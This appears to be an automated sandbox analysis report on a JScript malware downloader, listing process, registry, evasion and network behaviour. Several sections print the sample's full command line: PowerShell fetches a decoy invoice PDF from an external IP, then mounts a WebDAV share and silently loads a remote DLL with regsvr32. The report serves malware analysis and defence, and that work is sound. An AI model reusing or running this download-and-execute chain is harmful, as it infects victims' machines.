Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\5766.js.csv");ITextStream.WriteLine(" entry:8378 f:jcdgo");ITextStream.WriteLine(" exec:2 f:jcdgo");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49732

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5053			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4806			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1668	Thread sleep count: 5053 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1668	Thread sleep count: 4806 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5144	Thread sleep time: -11990383647911201s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1268	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 5356	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 4152	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: svchost.exe, 00000009.00000002.3420172742.0000022671E2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp
Source: net.exe, 00000007.00000002.2243730839.000001BEA5DD8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2243730839.000001BEA5D78000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3421851503.000002267745A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12294169134455.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12294169134455.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12294169134455.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12294169134455.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12294169134455.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
